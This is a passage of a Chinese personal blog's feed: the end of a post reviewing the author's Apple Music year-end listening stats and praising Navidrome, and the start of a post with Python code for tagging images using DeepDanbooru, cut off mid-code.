&lt;li&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;Enjoy the
Silence&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，51&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;Hand in
Hand&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，49&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;Teenage
Color&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，41&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;国际歌&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，36&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;The
Model&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，32&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;Made of
Stone&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，31&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;Genesis&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，29&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;I Say
Love&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，27&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;Weekender
Girl&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，25&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;假设一首歌四分钟，那这十首歌总计回放&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1,724&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟，占我总播放数的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;8.7%——虽然不知道平均值，但我感觉这个占比较小。给我这种感觉的原因是上榜歌曲里第&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2、3、7、9、10&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;名都是最近几个月才开始听的（尤其是初音的歌，我以前很讨厌，最近才开始喜欢&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。这些歌曲能上榜，应该是险胜上半年常听但之后再也没听的歌曲——为什么会再也没听？因为苹果音乐的用户体验就是一坨屎！它家客户端只显示最新加入库中的六十张专辑，而我一张专辑只选其中一两首歌入库（很少有两首的&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。这导致我只能在最新的六十首歌里面选要听什么，否则就要用麻烦的搜索功能输名字找我想听的歌。我想要的是随机展示一页歌曲的功能：苹果没有，Navidrome&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有。&lt;&#x2F;p&gt;
&lt;p&gt;骂完了接着说艺人排名（共&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;603&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;位&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Kraftwerk，955&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟；&lt;&#x2F;li&gt;
&lt;li&gt;The Stone Roses，666&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟；&lt;&#x2F;li&gt;
&lt;li&gt;Justice，659&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟；&lt;&#x2F;li&gt;
&lt;li&gt;livetune，610&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟；&lt;&#x2F;li&gt;
&lt;li&gt;蔡琴，545&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟；&lt;&#x2F;li&gt;
&lt;li&gt;林慧萍，545&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟；&lt;&#x2F;li&gt;
&lt;li&gt;齐豫，545&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟；&lt;&#x2F;li&gt;
&lt;li&gt;费玉清，545&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟；&lt;&#x2F;li&gt;
&lt;li&gt;郑怡，545&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟；&lt;&#x2F;li&gt;
&lt;li&gt;江蕙，545&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这个排名就有趣了。Kraftwerk&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;我确实常听，他们排第一可以理解。第二名的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;The
Stone
Roses&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;我绝对是八月底才开始听的——当时我有个同学要回国，告别那天我才知道这个乐队的存在&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-4&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-4-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-4-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[4]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-4-content&quot;&gt;我可能在很久之前听过他们的《Made
of
Stone&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，因为同学在给我放这首歌时我感到异常熟悉。回家后自己又听了好几遍，发现更喜欢同一张专辑里的《I
Wanna Be
Adored&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。可能因为我也想被&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;adored&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;吧。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;第三名&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Justice&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是玩电音的，我只有拉屎的时候听他们：因为够带劲所以可以通便。看起来我这一年在马桶上蹲了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;11&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个小时，平均一天&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1.8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟——嗯，还好，还算健康。第四名&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;livetune&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是谁？我不认识。后五名全部是回放榜上第一名《明天会更好》的演唱者。估计艺人排名后面几位也得是那首歌的其他演唱者吧。&lt;&#x2F;p&gt;
&lt;p&gt;专辑排行可以说是出乎意料了：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;The Soft
Machine&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，102&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;明天会更好&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，80&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;Eye In the
Sky&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，76&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;I Say
Love&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，56&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;The Stone
Roses&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，40&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;Turn A
Gundam&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，31&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;Californication&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，28&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;The Very Best of
Rainbow&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，26&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;The Harvest Albums
1975-1978&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，26&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;Who’s
Next&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，22&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;告诉我苹果也有年度总结的同学，总播放时间比我少&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;10,033&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟，但排第一的专辑循环数比我排第一的多一倍多。而且我的榜上后几位只播放了三十次左右，原因大概是——前面说过的——苹果音乐的设计让我只播放最新加入库中的专辑。&lt;&#x2F;p&gt;
&lt;p&gt;另外今年总共播放&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;133&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;张专辑，这个数差不多是苹果音乐显示专辑上限的两倍。所以能从排名中看出很强烈的后半年风格（前&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;73&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;张看不见了，就再也不听了&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;年度总结中还有歌单和电台的排名，不过这两个功能对我来说形同虚设，所以没有记录的意义。最后列一下我的最爱类型吧：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;摇滚&lt;&#x2F;li&gt;
&lt;li&gt;硬摇滚&lt;&#x2F;li&gt;
&lt;li&gt;Adult Alternative&lt;&#x2F;li&gt;
&lt;li&gt;金属&lt;&#x2F;li&gt;
&lt;li&gt;流行摇滚乐&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;其实看到这个结果我完全不知道如何解读：这排名里面有仨摇滚，而我不知道摇滚是什么。以及，我也不很清楚&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Adult
Alternative&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和金属的定义。可是如果统计报告说我喜欢它们，那我确实应该能说出一些它们的共性并尝试定义它们——否则无法解释我的收听偏好。回想一下，我所爱的歌曲共性是都有吉他和架子鼓。鉴于世纪烂曲《成都》中也有吉他，所以我将摇滚、Adult
Alternative&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和金属定义为有架子鼓的音乐。&lt;&#x2F;p&gt;
&lt;p&gt;每年年底看报告挺有趣的，告别订阅服务后可以把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Navidrome&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;连接到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;listenbrainz.org&#x2F;&quot;&gt;ListenBrainz&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来记录听歌数据。理论上随时可以查看各种排名——我刚创建账户，所以还没有任何值得分析的数据。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;good-bye-music-subscriptions
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;good-bye-music-subscriptions&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    



&lt;br &#x2F;&gt;
&lt;details open likes&gt;
    &lt;summary&gt;


三人赞过：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;social.dm4.tw&amp;#x2F;users&amp;#x2F;dm4&quot;&gt;










dm4&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;cirilla&quot;&gt;










小可可乐&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;g.crisq.cf&amp;#x2F;users&amp;#x2F;crisq&quot;&gt;




https:&amp;#x2F;&amp;#x2F;g.crisq.cf&amp;#x2F;users&amp;#x2F;crisq&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    





    



&lt;br &#x2F;&gt;
&lt;details open replies&gt;
    &lt;summary&gt;


一条评论：&lt;&#x2F;summary&gt;
    &lt;p&gt;注：点击昵称可以查看对评论的回复。&lt;&#x2F;p&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;casouri&amp;#x2F;statuses&amp;#x2F;109842748810711903&quot;&gt;










冥王星爱丽&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                    
                    
                        
                        
                    
                
                &lt;blockquote&gt;&lt;p&gt;&lt;span class=&quot;h-card&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot;&gt;@&lt;span&gt;actor&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt; 正好我最近也研究了一下navidrome。我的音乐库都是cd拷下来或者itunes&#x2F;bandcamp上买的电子版，倒是没有音乐订阅通常的烦恼。我的问题主要是自从itunes变成apple music以后就变得又卡又难用，几年过去了也毫无改进。&lt;&#x2F;p&gt;&lt;p&gt;可惜navidrome也不太满足我的要求，目前还是勉强用apple music，可能只有等以后忍不了了自己写一个播放器才能解决了www&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;


&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>使用DeepDanbooru</title>
    <published>2022-11-17T00:21:35+00:00</published>
    <updated>2022-11-17T00:21:35+00:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/deepdanbooru/" type="text/html" />
    <id>https://emptystack.top/deepdanbooru/</id>
    <content type="html">
      &lt;p&gt;如何整理自己的图片收藏是令人头疼的问题。目前我倾向于使用标签索引，但接下来头疼的问题就转变为了如何快速准确地给图片打标签。现在我的方式是手工输入，寄希望于整理一定规模之后训练一个专为自己使用的分类模型来自动打标签。&lt;&#x2F;p&gt;
&lt;p&gt;几天前我&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;bbs.saraba1st.com&#x2F;2b&#x2F;thread-2102206-1-1.html&quot;&gt;偶然得知已经有人用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Danbooru&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;训练出了类似的模型&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;DeepDanbooru&lt;&#x2F;a&gt;——如此先进生产力，我怎么能不试用下？试用后比较满意，于是就想为己所用。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;代码&quot;&gt;代码&lt;&#x2F;h2&gt;
&lt;p&gt;虽说想要据为己有，但是我压根不懂深度学习，甚至不知道怎样使用训练好的模型。顺着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;S1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的帖子摸索，发现楼主使用了一个叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;deepdanbooru-onnx&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的库。简单扫了一眼那个库，原来总共就没几行代码——这下我有信心了，看起来单纯使用没什么难的么！于是又翻身打开原版的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;DeepDanbooru&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;浅读了下从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;evaluate&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;函数开始的代码，发现仅仅使用的话确实很简单：&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;KichangKim&#x2F;DeepDanbooru&#x2F;blob&#x2F;c48689a85dde0e4a852c1691a7d746abe242e283&#x2F;deepdanbooru&#x2F;commands&#x2F;evaluate.py#L77-L95&quot;&gt;加载模型&lt;&#x2F;a&gt;、&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;KichangKim&#x2F;DeepDanbooru&#x2F;blob&#x2F;c48689a85dde0e4a852c1691a7d746abe242e283&#x2F;deepdanbooru&#x2F;data&#x2F;__init__.py#L26-L31&quot;&gt;缩放图片&lt;&#x2F;a&gt;、&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;KichangKim&#x2F;DeepDanbooru&#x2F;blob&#x2F;c48689a85dde0e4a852c1691a7d746abe242e283&#x2F;deepdanbooru&#x2F;image&#x2F;__init__.py#L65-L67&quot;&gt;居中后补齐短边&lt;&#x2F;a&gt;、&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;KichangKim&#x2F;DeepDanbooru&#x2F;blob&#x2F;c48689a85dde0e4a852c1691a7d746abe242e283&#x2F;deepdanbooru&#x2F;commands&#x2F;evaluate.py#L21&quot;&gt;reshape、预测、输出&lt;&#x2F;a&gt;就完了。&lt;&#x2F;p&gt;
&lt;p&gt;假设下载好并解压的模型位于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;model&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;文件夹内，要打标签的图片叫做&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;image.jpg&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的话，只要运行如下代码就可以获得标签了：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; json&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; tensorflow&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span&gt; tf&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; numpy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span&gt; np&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; os&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; path&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; load_model_tags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;model_path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    with&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; open&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;join&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;model_path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;project.json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        project&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;loads&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;read&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;())&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    with&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; open&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;join&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;model_path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;tags.txt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        tags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = [&lt;&#x2F;span&gt;&lt;span&gt;tag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;strip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; tag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;readlines&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    model_path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;join&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;model_path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;#39;model-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;project&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;model&lt;&#x2F;span&gt;&lt;span 